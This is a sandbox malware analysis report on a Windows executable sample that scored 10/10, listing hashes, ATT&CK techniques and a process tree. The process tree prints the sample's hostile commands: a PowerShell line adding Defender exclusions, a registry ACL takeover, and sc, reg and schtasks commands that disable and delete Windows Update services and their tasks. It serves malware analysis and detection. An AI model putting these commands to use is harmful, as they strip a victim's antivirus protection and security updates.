1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/08/2026, 03:34

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General

Target
1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe
Size 5.0MB
Sample260810-d4zntadh33
SHA256 1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19
MD5 0a77c05a1540d82470fa49ed3932b282
SHA1 c191cc112ee0c4e332ab2a97378ed36a3975c076
SHA512 af827e94d542eddee004bc2b774605a5a313da8af6c25b9e752ca6b51c751538e2f8cc2edaf516c0128d96647e82c538e368ee23a61cb1ac956bffa2382ddd96
SSDEEP 98304:9YlLtunCI0FyF8+cirXTH3CTt2mjr5wzvFHndc+vsM9pIkfPTb8DkTv+j+:8Lt28+c8THSB2nN7seb/8D
TLSH
T1B8363315F8C2D4B1C41AD7B88613B0AEB37F77A9A9B47C1B33CC69104E65E2A647E341
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2516 created 3280	2516	LockAppHost14a02b.exe	56

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe
4236	powershell.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dwprtkqaho\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fhgdlvyory\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\cakezqhdwj\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\sgqjnueofn\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dwprtkqaho\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fhgdlvyory\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\cakezqhdwj\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\sgqjnueofn\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\snsxjxojus\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p"	reg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
2516	LockAppHost14a02b.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3104	powercfg.exe
3896	powercfg.exe
1780	powercfg.exe
2448	powercfg.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F5B76F27FFDF2E1D4F4259BD9C366FB4	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B7CFCFBEBAD362B846E73EAF25FEFE	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F5B76F27FFDF2E1D4F4259BD9C366FB4	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\401A53CFF1EE99EDD8AE924D5F5082AA	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B7CFCFBEBAD362B846E73EAF25FEFE	nslookup.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\401A53CFF1EE99EDD8AE924D5F5082AA	nslookup.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2516 set thread context of 4652	2516	LockAppHost14a02b.exe	94

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2012	sc.exe
3320	sc.exe
4676	sc.exe
4728	sc.exe
3376	sc.exe
1248	sc.exe
3548	sc.exe
2136	sc.exe
4112	sc.exe
4784	sc.exe
1020	sc.exe
3880	sc.exe
4736	sc.exe
4248	sc.exe
2720	sc.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	nslookup.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nslookup.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe
2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe
2516	LockAppHost14a02b.exe
2516	LockAppHost14a02b.exe
2516	LockAppHost14a02b.exe
2516	LockAppHost14a02b.exe
4236	powershell.exe
4236	powershell.exe
3760	powershell.exe
3760	powershell.exe
4652	nslookup.exe
4652	nslookup.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	LockAppHost14a02b.exe
Token: SeDebugPrivilege	4652	nslookup.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	1780	powercfg.exe
Token: SeCreatePagefilePrivilege	1780	powercfg.exe
Token: SeShutdownPrivilege	2448	powercfg.exe
Token: SeCreatePagefilePrivilege	2448	powercfg.exe
Token: SeShutdownPrivilege	3896	powercfg.exe
Token: SeCreatePagefilePrivilege	3896	powercfg.exe
Token: SeShutdownPrivilege	3104	powercfg.exe
Token: SeCreatePagefilePrivilege	3104	powercfg.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 3880	2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe	87
PID 2168 wrote to memory of 2136	2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe	89
PID 2168 wrote to memory of 4112	2168	1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe	91
PID 2516 wrote to memory of 4652	2516	LockAppHost14a02b.exe	94
PID 4652 wrote to memory of 4236	4652	nslookup.exe	95
PID 4652 wrote to memory of 3760	4652	nslookup.exe	97
PID 4652 wrote to memory of 4736	4652	nslookup.exe	99
PID 4652 wrote to memory of 4248	4652	nslookup.exe	101
PID 4652 wrote to memory of 4676	4652	nslookup.exe	103
PID 4652 wrote to memory of 2012	4652	nslookup.exe	105
PID 4652 wrote to memory of 4456	4652	nslookup.exe	107
PID 4652 wrote to memory of 4616	4652	nslookup.exe	109
PID 4652 wrote to memory of 4728	4652	nslookup.exe	111
PID 4652 wrote to memory of 2720	4652	nslookup.exe	113
PID 4652 wrote to memory of 4664	4652	nslookup.exe	115
PID 4652 wrote to memory of 720	4652	nslookup.exe	117
PID 4652 wrote to memory of 4784	4652	nslookup.exe	119
PID 4652 wrote to memory of 3376	4652	nslookup.exe	121
PID 4652 wrote to memory of 4000	4652	nslookup.exe	123
PID 4652 wrote to memory of 1804	4652	nslookup.exe	125
PID 4652 wrote to memory of 3320	4652	nslookup.exe	127
PID 4652 wrote to memory of 1248	4652	nslookup.exe	129
PID 4652 wrote to memory of 1076	4652	nslookup.exe	131
PID 4652 wrote to memory of 4788	4652	nslookup.exe	133
PID 4652 wrote to memory of 1020	4652	nslookup.exe	135
PID 4652 wrote to memory of 3548	4652	nslookup.exe	137
PID 4652 wrote to memory of 2704	4652	nslookup.exe	139
PID 4652 wrote to memory of 1596	4652	nslookup.exe	141
PID 4652 wrote to memory of 4216	4652	nslookup.exe	143
PID 4652 wrote to memory of 1348	4652	nslookup.exe	145
PID 4652 wrote to memory of 3728	4652	nslookup.exe	147
PID 4652 wrote to memory of 2144	4652	nslookup.exe	149
PID 4652 wrote to memory of 2712	4652	nslookup.exe	151
PID 4652 wrote to memory of 4696	4652	nslookup.exe	153
PID 4652 wrote to memory of 4684	4652	nslookup.exe	155
PID 4652 wrote to memory of 2128	4652	nslookup.exe	157
PID 4652 wrote to memory of 1044	4652	nslookup.exe	159
PID 4652 wrote to memory of 4792	4652	nslookup.exe	161
PID 4652 wrote to memory of 3396	4652	nslookup.exe	163
PID 4652 wrote to memory of 3104	4652	nslookup.exe	165
PID 4652 wrote to memory of 3896	4652	nslookup.exe	166
PID 4652 wrote to memory of 1780	4652	nslookup.exe	167
PID 4652 wrote to memory of 2448	4652	nslookup.exe	168
PID 4652 wrote to memory of 3824	4652	nslookup.exe	169
PID 4652 wrote to memory of 4880	4652	nslookup.exe	175

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3280
- C:\Users\Admin\AppData\Local\Temp\1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe
  "C:\Users\Admin\AppData\Local\Temp\1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19.exe"
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:3880
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2136
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:4112
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3760
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4736
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4248
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4676
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2012
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\dwprtkqaho" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4456
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4616
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4728
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2720
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\fhgdlvyory" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4664
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:720
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:4784
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3376
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\cakezqhdwj" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4000
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1804
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:3320
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:1248
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\sgqjnueofn" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:1076
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:4788
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1020
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:3548
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\snsxjxojus" /s /f
    3⤵
    - Sets service image path in registry
    PID:2704
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1596
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:4216
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:1348
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:3728
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:2144
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:2712
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:4696
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:4684
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:2128
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:1044
- - C:\Windows\System32\schtasks.exe
